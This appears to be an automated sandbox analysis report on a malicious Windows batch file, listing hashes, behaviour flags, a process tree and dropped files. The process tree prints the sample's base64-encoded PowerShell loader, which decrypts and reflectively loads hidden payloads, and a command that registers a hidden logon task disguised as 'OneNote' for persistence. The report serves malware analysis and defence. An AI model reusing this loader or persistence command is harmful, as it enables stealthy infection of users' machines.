Resubmissions

22-04-2024 22:02

240422-1xtwbagh68 10

22-04-2024 19:25

240422-x42b7afa68 10

19-04-2024 03:02

240419-djmthsfh8w 10

Analysis

  • max time kernel
    152s
  • max time network
    197s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20240226-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20240226-enlocale:en-usos:windows10-2004-x64system
  • submitted
    22-04-2024 22:02

General

  • Target

    10de02fec8ac3edbf1398e6dd43ddec95a89e0499e1e865a7d9e5289fb2b31d1.bat

  • Size

    1.1MB

  • MD5

    4030841f8cd4b3ac37ab0a0b9332f3a5

  • SHA1

    6d05584de372399fbadd59a1e6a1eefee90f8725

  • SHA256

    10de02fec8ac3edbf1398e6dd43ddec95a89e0499e1e865a7d9e5289fb2b31d1

  • SHA512

    a8c40c3fa3f7f9ba47eed94a55a2562719073fd568d4aa96a081a46ce150e0b068b453e812eaef3fe15cafae3b66127e23ed4d72669173c8c254ba58d32534c0

  • SSDEEP

    24576:+NAwcGqisVN8rXpLOnM+YCftp99Jj9Pgxp1QrKDI:+NKVVsxmt9j

Score
8/10

Malware Config

Signatures

  • Blocklisted process makes network request 11 IoCs
  • Suspicious behavior: EnumeratesProcesses 22 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of WriteProcessMemory 32 IoCs

Processes

  • C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\10de02fec8ac3edbf1398e6dd43ddec95a89e0499e1e865a7d9e5289fb2b31d1.bat"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:1676
    • C:\Windows\system32\cmd.exe
      cmd /c \"set __=^&rem\
      2⤵
        PID:3156
      • C:\Windows\system32\cmd.exe
        C:\Windows\system32\cmd.exe /K C:\Users\Admin\AppData\Local\Temp\10de02fec8ac3edbf1398e6dd43ddec95a89e0499e1e865a7d9e5289fb2b31d1.bat
        2⤵
        • Suspicious use of WriteProcessMemory
        PID:2724
        • C:\Windows\system32\cmd.exe
          cmd /c \"set __=^&rem\
          3⤵
            PID:3388
          • C:\Windows\system32\cmd.exe
            C:\Windows\system32\cmd.exe /S /D /c" echo $host.UI.RawUI.WindowTitle='C:\Users\Admin\AppData\Local\Temp\10de02fec8ac3edbf1398e6dd43ddec95a89e0499e1e865a7d9e5289fb2b31d1.bat';iex ([Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String('cG93ZXJzaGVsbCAtdyBoaWRkZW47ZnVuY3Rpb24ga1JGT2soJERNSmFHKXskUXpwdGU9W1N5c3RlbS5TZWN1cml0eS5DcnlwdG9ncmFwaHkuQWVzXTo6Q3JlYXRlKCk7JFF6cHRlLk1vZGU9W1N5c3RlbS5TZWN1cml0eS5DcnlwdG9ncmFwaHkuQ2lwaGVyTW9kZV06OkNCQzskUXpwdGUuUGFkZGluZz1bU3lzdGVtLlNlY3VyaXR5LkNyeXB0b2dyYXBoeS5QYWRkaW5nTW9kZV06OlBLQ1M3OyRRenB0ZS5LZXk9W1N5c3RlbS5Db252ZXJ0XTo6RnJvbUJhc2U2NFN0cmluZygnRjB3NXFsREI3QUlVTmtQVG5CWTBQeUVod2ppZzM0Zm1wb3I5S2ZqeWtvYz0nKTskUXpwdGUuSVY9W1N5c3RlbS5Db252ZXJ0XTo6RnJvbUJhc2U2NFN0cmluZygnZHJXWWdZV3ptMEhxQjA1ZHpyck1Ddz09Jyk7JGRHR2VBPSRRenB0ZS5DcmVhdGVEZWNyeXB0b3IoKTskT2tGeWU9JGRHR2VBLlRyYW5zZm9ybUZpbmFsQmxvY2soJERNSmFHLDAsJERNSmFHLkxlbmd0aCk7JGRHR2VBLkRpc3Bvc2UoKTskUXpwdGUuRGlzcG9zZSgpOyRPa0Z5ZTt9ZnVuY3Rpb24gbEZOSHYoJERNSmFHKXskUHZ3WXc9TmV3LU9iamVjdCBTeXN0ZW0uSU8uTWVtb3J5U3RyZWFtKCwkRE1KYUcpOyRiYW9EZD1OZXctT2JqZWN0IFN5c3RlbS5JTy5NZW1vcnlTdHJlYW07JGxYcUJ3PU5ldy1PYmplY3QgU3lzdGVtLklPLkNvbXByZXNzaW9uLkdaaXBTdHJlYW0oJFB2d1l3LFtJTy5Db21wcmVzc2lvbi5Db21wcmVzc2lvbk1vZGVdOjpEZWNvbXByZXNzKTskbFhxQncuQ29weVRvKCRiYW9EZCk7JGxYcUJ3LkRpc3Bvc2UoKTskUHZ3WXcuRGlzcG9zZSgpOyRiYW9EZC5EaXNwb3NlKCk7JGJhb0RkLlRvQXJyYXkoKTt9JHJydUhvPVtTeXN0ZW0uSU8uRmlsZV06OlJlYWRMaW5lcyhbQ29uc29sZV06OlRpdGxlKTskeGJuQW09bEZOSHYgKGtSRk9rIChbQ29udmVydF06OkZyb21CYXNlNjRTdHJpbmcoW1N5c3RlbS5MaW5xLkVudW1lcmFibGVdOjpFbGVtZW50QXQoJHJydUhvLCA1KS5TdWJzdHJpbmcoMikpKSk7JE9NU3hJPWxGTkh2IChrUkZPayAoW0NvbnZlcnRdOjpGcm9tQmFzZTY0U3RyaW5nKFtTeXN0ZW0uTGlucS5FbnVtZXJhYmxlXTo6RWxlbWVudEF0KCRycnVIbywgNikuU3Vic3RyaW5nKDIpKSkpO1tTeXN0ZW0uUmVmbGVjdGlvbi5Bc3NlbWJseV06OkxvYWQoW2J5dGVbXV0kT01TeEkpLkVudHJ5UG9pbnQuSW52b2tlKCRudWxsLCRudWxsKTtbU3lzdGVtLlJlZmxlY3Rpb24uQXNzZW1ibHldOjpMb2FkKFtieXRlW11dJHhibkFtKS5FbnRyeVBvaW50Lkludm9rZSgkbnVsbCwkbnVsbCk7'))) "
            3⤵
              PID:2520
            • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
              C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
              3⤵
              • Suspicious behavior: EnumeratesProcesses
              • Suspicious use of AdjustPrivilegeToken
              • Suspicious use of WriteProcessMemory
              PID:32
              • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -w hidden
                4⤵
                • Suspicious behavior: EnumeratesProcesses
                • Suspicious use of AdjustPrivilegeToken
                PID:2168
              • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" [Console]::Title = ((Get-ScheduledTask).Actions.Execute -join '').Contains('C:\Users\Admin\AppData\Local\Temp\10de02fec8ac3edbf1398e6dd43ddec95a89e0499e1e865a7d9e5289fb2b31d1')
                4⤵
                • Suspicious behavior: EnumeratesProcesses
                • Suspicious use of AdjustPrivilegeToken
                PID:4444
              • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Register-ScheduledTask -TaskName 'OneNote 96746' -Trigger (New-ScheduledTaskTrigger -AtLogon) -Action (New-ScheduledTaskAction -Execute 'C:\Users\Admin\AppData\Roaming\strt.cmd') -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -Hidden -ExecutionTimeLimit 0) -RunLevel Highest -Force
                4⤵
                • Suspicious behavior: EnumeratesProcesses
                • Suspicious use of AdjustPrivilegeToken
                PID:560
              • C:\Windows\System32\cmd.exe
                "C:\Windows\System32\cmd.exe" /c start "" "C:\Users\Admin\AppData\Roaming\strt.cmd"
                4⤵
                • Suspicious use of WriteProcessMemory
                PID:4268
                • C:\Windows\system32\cmd.exe
                  C:\Windows\system32\cmd.exe /K "C:\Users\Admin\AppData\Roaming\strt.cmd"
                  5⤵
                  • Suspicious use of WriteProcessMemory
                  PID:2644
                  • C:\Windows\system32\cmd.exe
                    cmd /c \"set __=^&rem\
                    6⤵
                      PID:408
                    • C:\Windows\system32\cmd.exe
                      C:\Windows\system32\cmd.exe /S /D /c" echo $host.UI.RawUI.WindowTitle='C:\Users\Admin\AppData\Roaming\strt.cmd';iex ([Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String('cG93ZXJzaGVsbCAtdyBoaWRkZW47ZnVuY3Rpb24ga1JGT2soJERNSmFHKXskUXpwdGU9W1N5c3RlbS5TZWN1cml0eS5DcnlwdG9ncmFwaHkuQWVzXTo6Q3JlYXRlKCk7JFF6cHRlLk1vZGU9W1N5c3RlbS5TZWN1cml0eS5DcnlwdG9ncmFwaHkuQ2lwaGVyTW9kZV06OkNCQzskUXpwdGUuUGFkZGluZz1bU3lzdGVtLlNlY3VyaXR5LkNyeXB0b2dyYXBoeS5QYWRkaW5nTW9kZV06OlBLQ1M3OyRRenB0ZS5LZXk9W1N5c3RlbS5Db252ZXJ0XTo6RnJvbUJhc2U2NFN0cmluZygnRjB3NXFsREI3QUlVTmtQVG5CWTBQeUVod2ppZzM0Zm1wb3I5S2ZqeWtvYz0nKTskUXpwdGUuSVY9W1N5c3RlbS5Db252ZXJ0XTo6RnJvbUJhc2U2NFN0cmluZygnZHJXWWdZV3ptMEhxQjA1ZHpyck1Ddz09Jyk7JGRHR2VBPSRRenB0ZS5DcmVhdGVEZWNyeXB0b3IoKTskT2tGeWU9JGRHR2VBLlRyYW5zZm9ybUZpbmFsQmxvY2soJERNSmFHLDAsJERNSmFHLkxlbmd0aCk7JGRHR2VBLkRpc3Bvc2UoKTskUXpwdGUuRGlzcG9zZSgpOyRPa0Z5ZTt9ZnVuY3Rpb24gbEZOSHYoJERNSmFHKXskUHZ3WXc9TmV3LU9iamVjdCBTeXN0ZW0uSU8uTWVtb3J5U3RyZWFtKCwkRE1KYUcpOyRiYW9EZD1OZXctT2JqZWN0IFN5c3RlbS5JTy5NZW1vcnlTdHJlYW07JGxYcUJ3PU5ldy1PYmplY3QgU3lzdGVtLklPLkNvbXByZXNzaW9uLkdaaXBTdHJlYW0oJFB2d1l3LFtJTy5Db21wcmVzc2lvbi5Db21wcmVzc2lvbk1vZGVdOjpEZWNvbXByZXNzKTskbFhxQncuQ29weVRvKCRiYW9EZCk7JGxYcUJ3LkRpc3Bvc2UoKTskUHZ3WXcuRGlzcG9zZSgpOyRiYW9EZC5EaXNwb3NlKCk7JGJhb0RkLlRvQXJyYXkoKTt9JHJydUhvPVtTeXN0ZW0uSU8uRmlsZV06OlJlYWRMaW5lcyhbQ29uc29sZV06OlRpdGxlKTskeGJuQW09bEZOSHYgKGtSRk9rIChbQ29udmVydF06OkZyb21CYXNlNjRTdHJpbmcoW1N5c3RlbS5MaW5xLkVudW1lcmFibGVdOjpFbGVtZW50QXQoJHJydUhvLCA1KS5TdWJzdHJpbmcoMikpKSk7JE9NU3hJPWxGTkh2IChrUkZPayAoW0NvbnZlcnRdOjpGcm9tQmFzZTY0U3RyaW5nKFtTeXN0ZW0uTGlucS5FbnVtZXJhYmxlXTo6RWxlbWVudEF0KCRycnVIbywgNikuU3Vic3RyaW5nKDIpKSkpO1tTeXN0ZW0uUmVmbGVjdGlvbi5Bc3NlbWJseV06OkxvYWQoW2J5dGVbXV0kT01TeEkpLkVudHJ5UG9pbnQuSW52b2tlKCRudWxsLCRudWxsKTtbU3lzdGVtLlJlZmxlY3Rpb24uQXNzZW1ibHldOjpMb2FkKFtieXRlW11dJHhibkFtKS5FbnRyeVBvaW50Lkludm9rZSgkbnVsbCwkbnVsbCk7'))) "
                      6⤵
                        PID:3880
                      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                        6⤵
                        • Blocklisted process makes network request
                        • Suspicious behavior: EnumeratesProcesses
                        • Suspicious use of WriteProcessMemory
                        PID:788
                        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                          "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -w hidden
                          7⤵
                          • Suspicious behavior: EnumeratesProcesses
                          PID:2600
                        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                          "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" [Console]::Title = ((Get-ScheduledTask).Actions.Execute -join '').Contains('C:\Users\Admin\AppData\Roaming\strt')
                          7⤵
                          • Suspicious behavior: EnumeratesProcesses
                          PID:4004
                        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                          "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Register-ScheduledTask -TaskName 'OneNote 96746' -Trigger (New-ScheduledTaskTrigger -AtLogon) -Action (New-ScheduledTaskAction -Execute 'C:\Users\Admin\AppData\Roaming\strt.cmd') -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -Hidden -ExecutionTimeLimit 0) -RunLevel Highest -Force
                          7⤵
                          • Suspicious behavior: EnumeratesProcesses
                          PID:1616
            • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
              "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-US --service-sandbox-type=asset_store_service --no-appcompat-clear --mojo-platform-channel-handle=3692 --field-trial-handle=3192,i,2785050981002401924,4037047756083432660,262144 --variations-seed-version /prefetch:8
              1⤵
                PID:1656

              Network

              MITRE ATT&CK Matrix

              Replay Monitor

              Loading Replay Monitor...

              Downloads

              • C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

                Filesize

                3KB

                MD5

                3f01549ee3e4c18244797530b588dad9

                SHA1

                3e87863fc06995fe4b741357c68931221d6cc0b9

                SHA256

                36b51e575810b6af6fc5e778ce0f228bc7797cd3224839b00829ca166fa13f9a

                SHA512

                73843215228865a4186ac3709bf2896f0f68da0ba3601cc20226203dd429a2ad9817b904a45f6b0456b8be68deebf3b011742a923ce4a77c0c6f3a155522ab50

              • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\ModuleAnalysisCache

                Filesize

                53KB

                MD5

                a26df49623eff12a70a93f649776dab7

                SHA1

                efb53bd0df3ac34bd119adf8788127ad57e53803

                SHA256

                4ebde1c12625cb55034d47e5169f709b0bd02a8caa76b5b9854efad7f4710245

                SHA512

                e5f9b8645fb2a50763fcbffe877ca03e9cadf099fe2d510b74bfa9ff18d0a6563d11160e00f495eeefebde63450d0ade8d6b6a824e68bd8a59e1971dc842709c

              • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-Interactive

                Filesize

                3KB

                MD5

                2d1de0141861c4d15f5dc0630d1b8c94

                SHA1

                523a8ce3c9a1d5058f77cda094ffd171ff3e4ab8

                SHA256

                94738f7eb08a96b49fb7c51091083b9401b99e4db6458625bd3f1f6c65838c36

                SHA512

                354f89f30f47d909c953d0451d8f1f850f585cd8580241c46d62fbdd3089ddbe3775fe7e531abb9a766683477a32116a52bffe0aa8f7b1d443edfa8baf592498

              • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

                Filesize

                1KB

                MD5

                f5757a4861737c7d99e3ae930ff8641a

                SHA1

                bb6a31b58a1744e8205df4b1e1c3f040b0b76a8c

                SHA256

                2762ba768f272e9f8beea28e01e4253151148b0cdd6968d189bf67544e17b219

                SHA512

                ab9848d8e7bb736000da80f66f14db3eca0cec699fd21ceb67d855a72ec8356e9c06e638d139f3f3a74e9af71d9414e990a78fd8d345a17156ac49c17662f585

              • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

                Filesize

                1KB

                MD5

                430313cf7b0d23dfdc746fc7226ce76e

                SHA1

                4e20cdd9f7f570f2e2aa83d40cc3c76f7514c303

                SHA256

                e02345702cdcaf1b20d65837e4cbe280135167758504343e334a5b2492c93f07

                SHA512

                e3fde1853fbf45c8a82eb697acc52f9d09e3d891d6e58bdd3b44ceea23979d3c86ee877d9d5ac1c87a01ef8d214b0d6a06cdd1f950e6ccc8f31c8f52f8fdc42a

              • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

                Filesize

                1KB

                MD5

                cc2ce575753731574bf10ff6e5162032

                SHA1

                b660e5156f97af770e5d359fdd2a6ea697f359fb

                SHA256

                c0c37fd6fb26d101e347a1e9b5190029bb591d8c57392dbf2df4741b11fc2dfa

                SHA512

                715bb49c3977d51ff39b0458b99c5e3ba786e3110a4015402cd023b484ff385704475238fb813d074524d76bc733b0d4e92b57b64d187b3d6a664e4f38eebc1b

              • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_p2r1mv2c.c3j.ps1

                Filesize

                60B

                MD5

                d17fe0a3f47be24a6453e9ef58c94641

                SHA1

                6ab83620379fc69f80c0242105ddffd7d98d5d9d

                SHA256

                96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

                SHA512

                5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

              • C:\Users\Admin\AppData\Roaming\strt.cmd

                Filesize

                1.1MB

                MD5

                4030841f8cd4b3ac37ab0a0b9332f3a5

                SHA1

                6d05584de372399fbadd59a1e6a1eefee90f8725

                SHA256

                10de02fec8ac3edbf1398e6dd43ddec95a89e0499e1e865a7d9e5289fb2b31d1

                SHA512

                a8c40c3fa3f7f9ba47eed94a55a2562719073fd568d4aa96a081a46ce150e0b068b453e812eaef3fe15cafae3b66127e23ed4d72669173c8c254ba58d32534c0

              • memory/32-31-0x000002B23E9B0000-0x000002B23E9BA000-memory.dmp

                Filesize

                40KB

              • memory/32-47-0x000002B23E9C0000-0x000002B23E9D0000-memory.dmp

                Filesize

                64KB

              • memory/32-86-0x00007FFED7BA0000-0x00007FFED8661000-memory.dmp

                Filesize

                10.8MB

              • memory/32-13-0x000002B240E90000-0x000002B240ED4000-memory.dmp

                Filesize

                272KB

              • memory/32-14-0x000002B240EE0000-0x000002B240F56000-memory.dmp

                Filesize

                472KB

              • memory/32-32-0x000002B240F60000-0x000002B241038000-memory.dmp

                Filesize

                864KB

              • memory/32-12-0x000002B23E9C0000-0x000002B23E9D0000-memory.dmp

                Filesize

                64KB

              • memory/32-34-0x00007FFED7BA0000-0x00007FFED8661000-memory.dmp

                Filesize

                10.8MB

              • memory/32-11-0x000002B23E9C0000-0x000002B23E9D0000-memory.dmp

                Filesize

                64KB

              • memory/32-9-0x000002B240A40000-0x000002B240A62000-memory.dmp

                Filesize

                136KB

              • memory/32-10-0x00007FFED7BA0000-0x00007FFED8661000-memory.dmp

                Filesize

                10.8MB

              • memory/560-63-0x000001ECF77F0000-0x000001ECF7800000-memory.dmp

                Filesize

                64KB

              • memory/560-65-0x000001ECF77F0000-0x000001ECF7800000-memory.dmp

                Filesize

                64KB

              • memory/560-52-0x000001ECF77F0000-0x000001ECF7800000-memory.dmp

                Filesize

                64KB

              • memory/560-51-0x00007FFED7BA0000-0x00007FFED8661000-memory.dmp

                Filesize

                10.8MB

              • memory/560-67-0x00007FFED7BA0000-0x00007FFED8661000-memory.dmp

                Filesize

                10.8MB

              • memory/788-162-0x000001D959B10000-0x000001D959C21000-memory.dmp

                Filesize

                1.1MB

              • memory/788-168-0x000001D959B10000-0x000001D959C21000-memory.dmp

                Filesize

                1.1MB

              • memory/788-2458-0x000001D959CD0000-0x000001D959D1C000-memory.dmp

                Filesize

                304KB

              • memory/788-2457-0x000001D959C30000-0x000001D959CCE000-memory.dmp

                Filesize

                632KB

              • memory/788-561-0x000001D957320000-0x000001D957330000-memory.dmp

                Filesize

                64KB

              • memory/788-282-0x000001D957320000-0x000001D957330000-memory.dmp

                Filesize

                64KB

              • memory/788-78-0x00007FFED7BA0000-0x00007FFED8661000-memory.dmp

                Filesize

                10.8MB

              • memory/788-82-0x000001D957320000-0x000001D957330000-memory.dmp

                Filesize

                64KB

              • memory/788-83-0x000001D957320000-0x000001D957330000-memory.dmp

                Filesize

                64KB

              • memory/788-85-0x000001D957320000-0x000001D957330000-memory.dmp

                Filesize

                64KB

              • memory/788-196-0x000001D959B10000-0x000001D959C21000-memory.dmp

                Filesize

                1.1MB

              • memory/788-194-0x000001D959B10000-0x000001D959C21000-memory.dmp

                Filesize

                1.1MB

              • memory/788-192-0x000001D959B10000-0x000001D959C21000-memory.dmp

                Filesize

                1.1MB

              • memory/788-190-0x000001D959B10000-0x000001D959C21000-memory.dmp

                Filesize

                1.1MB

              • memory/788-188-0x000001D959B10000-0x000001D959C21000-memory.dmp

                Filesize

                1.1MB

              • memory/788-186-0x000001D959B10000-0x000001D959C21000-memory.dmp

                Filesize

                1.1MB

              • memory/788-184-0x000001D959B10000-0x000001D959C21000-memory.dmp

                Filesize

                1.1MB

              • memory/788-182-0x000001D959B10000-0x000001D959C21000-memory.dmp

                Filesize

                1.1MB

              • memory/788-180-0x000001D959B10000-0x000001D959C21000-memory.dmp

                Filesize

                1.1MB

              • memory/788-178-0x000001D959B10000-0x000001D959C21000-memory.dmp

                Filesize

                1.1MB

              • memory/788-176-0x000001D959B10000-0x000001D959C21000-memory.dmp

                Filesize

                1.1MB

              • memory/788-174-0x000001D959B10000-0x000001D959C21000-memory.dmp

                Filesize

                1.1MB

              • memory/788-127-0x00007FFED7BA0000-0x00007FFED8661000-memory.dmp

                Filesize

                10.8MB

              • memory/788-172-0x000001D959B10000-0x000001D959C21000-memory.dmp

                Filesize

                1.1MB

              • memory/788-170-0x000001D959B10000-0x000001D959C21000-memory.dmp

                Filesize

                1.1MB

              • memory/788-131-0x000001D959A30000-0x000001D959B08000-memory.dmp

                Filesize

                864KB

              • memory/788-132-0x000001D959B10000-0x000001D959C26000-memory.dmp

                Filesize

                1.1MB

              • memory/788-133-0x000001D959B10000-0x000001D959C21000-memory.dmp

                Filesize

                1.1MB

              • memory/788-134-0x000001D959B10000-0x000001D959C21000-memory.dmp

                Filesize

                1.1MB

              • memory/788-136-0x000001D959B10000-0x000001D959C21000-memory.dmp

                Filesize

                1.1MB

              • memory/788-138-0x000001D959B10000-0x000001D959C21000-memory.dmp

                Filesize

                1.1MB

              • memory/788-140-0x000001D959B10000-0x000001D959C21000-memory.dmp

                Filesize

                1.1MB

              • memory/788-142-0x000001D959B10000-0x000001D959C21000-memory.dmp

                Filesize

                1.1MB

              • memory/788-144-0x000001D959B10000-0x000001D959C21000-memory.dmp

                Filesize

                1.1MB

              • memory/788-146-0x000001D959B10000-0x000001D959C21000-memory.dmp

                Filesize

                1.1MB

              • memory/788-148-0x000001D959B10000-0x000001D959C21000-memory.dmp

                Filesize

                1.1MB

              • memory/788-152-0x000001D959B10000-0x000001D959C21000-memory.dmp

                Filesize

                1.1MB

              • memory/788-154-0x000001D959B10000-0x000001D959C21000-memory.dmp

                Filesize

                1.1MB

              • memory/788-150-0x000001D959B10000-0x000001D959C21000-memory.dmp

                Filesize

                1.1MB

              • memory/788-156-0x000001D959B10000-0x000001D959C21000-memory.dmp

                Filesize

                1.1MB

              • memory/788-158-0x000001D959B10000-0x000001D959C21000-memory.dmp

                Filesize

                1.1MB

              • memory/788-160-0x000001D959B10000-0x000001D959C21000-memory.dmp

                Filesize

                1.1MB

              • memory/788-166-0x000001D959B10000-0x000001D959C21000-memory.dmp

                Filesize

                1.1MB

              • memory/788-164-0x000001D959B10000-0x000001D959C21000-memory.dmp

                Filesize

                1.1MB

              • memory/1616-124-0x000001C2EBA20000-0x000001C2EBA30000-memory.dmp

                Filesize

                64KB

              • memory/1616-130-0x00007FFED7BA0000-0x00007FFED8661000-memory.dmp

                Filesize

                10.8MB

              • memory/1616-123-0x00007FFED7BA0000-0x00007FFED8661000-memory.dmp

                Filesize

                10.8MB

              • memory/1616-128-0x000001C2EBA20000-0x000001C2EBA30000-memory.dmp

                Filesize

                64KB

              • memory/1616-125-0x000001C2EBA20000-0x000001C2EBA30000-memory.dmp

                Filesize

                64KB

              • memory/2168-17-0x000001D389930000-0x000001D389940000-memory.dmp

                Filesize

                64KB

              • memory/2168-15-0x00007FFED7BA0000-0x00007FFED8661000-memory.dmp

                Filesize

                10.8MB

              • memory/2168-30-0x00007FFED7BA0000-0x00007FFED8661000-memory.dmp

                Filesize

                10.8MB

              • memory/2168-27-0x000001D389930000-0x000001D389940000-memory.dmp

                Filesize

                64KB

              • memory/2168-16-0x000001D389930000-0x000001D389940000-memory.dmp

                Filesize

                64KB

              • memory/2600-99-0x00007FFED7BA0000-0x00007FFED8661000-memory.dmp

                Filesize

                10.8MB

              • memory/2600-88-0x000001FAA5AA0000-0x000001FAA5AB0000-memory.dmp

                Filesize

                64KB

              • memory/2600-87-0x00007FFED7BA0000-0x00007FFED8661000-memory.dmp

                Filesize

                10.8MB

              • memory/4004-100-0x00007FFED7BA0000-0x00007FFED8661000-memory.dmp

                Filesize

                10.8MB

              • memory/4004-111-0x000002A456B00000-0x000002A456B10000-memory.dmp

                Filesize

                64KB

              • memory/4004-113-0x00007FFED7BA0000-0x00007FFED8661000-memory.dmp

                Filesize

                10.8MB

              • memory/4444-50-0x00007FFED7BA0000-0x00007FFED8661000-memory.dmp

                Filesize

                10.8MB

              • memory/4444-35-0x00007FFED7BA0000-0x00007FFED8661000-memory.dmp

                Filesize

                10.8MB

              • memory/4444-36-0x00000232A7940000-0x00000232A7950000-memory.dmp

                Filesize

                64KB

              • memory/4444-37-0x00000232A7940000-0x00000232A7950000-memory.dmp

                Filesize

                64KB